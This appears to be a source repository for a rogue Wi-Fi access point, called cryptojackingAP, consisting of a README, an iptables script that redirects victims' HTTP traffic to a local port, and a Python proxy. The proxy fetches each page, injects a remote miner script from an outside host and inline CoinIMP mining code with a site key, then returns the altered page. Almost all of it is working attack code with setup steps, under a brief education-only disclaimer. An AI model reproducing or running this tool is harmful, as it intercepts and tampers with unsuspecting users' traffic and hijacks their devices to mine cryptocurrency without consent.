├── README.md ├── iptables_maliciousAP.sh └── malicious_webserver.py /README.md: -------------------------------------------------------------------------------- 1 | # cryptojackingAP 2 | A malicious access point that injects mining scripts on the fly. 3 | ## Requirements 4 | - iptables 5 | - python3 6 | 7 | ## Set-up 8 | The tool is a PoC of a rouge access point that injects cryptomining code in the webpages 9 | requested by the connected users using HTTP (no HTTPS support). I run a proof of concept on a raspberry Pi, you can search online how to set up an access point. In this code I give as granted that you have set up an access point on a Linux machine (in my case Ubuntu 16.04). 10 | 11 | ## Instructions 12 | First run the bash script: 13 | ``` 14 | $ sudo iptables_maliciousAP.sh 15 | ``` 16 | Please note that you might have to change the network interface's name accordingly. 17 | In this example, wlan0 is the interfaces that is connecting to the internet while 18 | wlan1 is the interface where the access point is running and users connect to. 19 | 20 | After running the script, request coming in at wlan1, with destination port 80 (HTTP), are forwarded 21 | to the localhost on port 9090. Now is time to run the python script: 22 | ``` 23 | $ python3 malicious_webserver.py 24 | ``` 25 | The latter, receives the requests forwarded by the iptables, retrieves the requested data, 26 | injects the cryptomining code (if possible) and returns everything to the client. 27 | 28 | # Disclaimer 29 | Made for fun and no profit. Only use this tool for education, research, or in the course of approved operations. 30 | 31 | 32 | -------------------------------------------------------------------------------- /iptables_maliciousAP.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo iptables -A INPUT -i wlan1 -j ACCEPT 3 | sudo iptables -A FORWARD -i wlan1 -o wlan0 -j ACCEPT 4 | sudo iptables -A FORWARD -i wlan0 -o wlan1 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT 5 | sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE 6 | sudo sysctl net.ipv4.ip_forward=1 7 | 8 | sysctl -w net.ipv4.conf.all.route_localnet=1 9 | iptables -t nat -I PREROUTING -p tcp --dport 80 -j DNAT --to 127.0.0.1:9090 10 | 11 | -------------------------------------------------------------------------------- /malicious_webserver.py: -------------------------------------------------------------------------------- 1 | import socketserver 2 | from http.server import BaseHTTPRequestHandler, HTTPServer 3 | import time 4 | import urllib.request 5 | import urllib.parse 6 | import urllib.error 7 | from http.cookiejar import CookieJar 8 | from bs4 import BeautifulSoup 9 | import io 10 | import gzip 11 | from socketserver import ThreadingMixIn 12 | 13 | hostName='' 14 | hostPort=9090 15 | 16 | ## TODO: 17 | # - Redirection handling infinite loop error 18 | 19 | mining_code_tag = b'\nvar _givemecoins = new Client.Anonymous(\x272f8f3058590c46872f769ebf9fc1517d459045b3370860568d98ffd41664aa43\x27, { throttle: 0.3\n});\n_givemecoins.start();\n_givemecoins.addMiningNotification("Top", "This site is running JavaScript miner from coinimp.com", "#cccccc", 40, "#3d3d3d");\n' 20 | 21 | def get_index(string,list_of_tup): 22 | for x in list_of_tup: 23 | if x[0] == string: 24 | return list_of_tup.index(x) 25 | return None 26 | 27 | class MyServer(BaseHTTPRequestHandler): 28 | def do_GET(self): 29 | URL = "http://"+self.headers['Host']+self.path 30 | myheaders = self.headers.__dict__ 31 | new_req = urllib.request.Request(url=URL,headers=dict(myheaders['_headers']),method=self.command) 32 | print (new_req.full_url) 33 | 34 | cj = CookieJar() # To avoid infinite loop redirection 35 | opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) 36 | try: 37 | with opener.open(new_req,timeout=7) as response: 38 | if response.info().get('Content-Encoding') == 'gzip': 39 | buf = io.BytesIO(response.read()) 40 | f = gzip.GzipFile(fileobj=buf) 41 | the_page = f.read() 42 | else: 43 | print(response.info().get('Content-Encoding')) 44 | the_page = response.read() 45 | 46 | if len(the_page) > 0: 47 | if "text/html" in response.headers["content-type"]: 48 | html = BeautifulSoup(the_page,"html.parser") 49 | script = html.new_tag("script",src="https://www.hostingcloud.racing/n2J6.js") 50 | html.body.insert(-1,script) 51 | script2 = html.new_tag("script") 52 | script2.string = mining_code_tag.decode('utf-8') 53 | html.body.insert(-1,script2) 54 | the_page = bytes(str(html).encode("utf-8")) 55 | print("Script injected.") 56 | else: 57 | print("NO injection for: {}".format(URL)) 58 | 59 | self.wfile.write(the_page) # Send result back 60 | response.close() 61 | except Exception as e: 62 | print("Error for {0}: {1} -> {2}".format(URL,e.code,e.msg)) 63 | 64 | class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): 65 | """Handle requests in a separate thread.""" 66 | 67 | if __name__ == '__main__': 68 | myServer = ThreadedHTTPServer((hostName, hostPort), MyServer) 69 | print(time.asctime(), "Server Starts - %s:%s" % (hostName, hostPort)) 70 | 71 | try: 72 | myServer.serve_forever() 73 | except KeyboardInterrupt: 74 | pass 75 | 76 | myServer.server_close() 77 | print(time.asctime(), "Server Stops - %s:%s" % (hostName, hostPort)) 78 | --------------------------------------------------------------------------------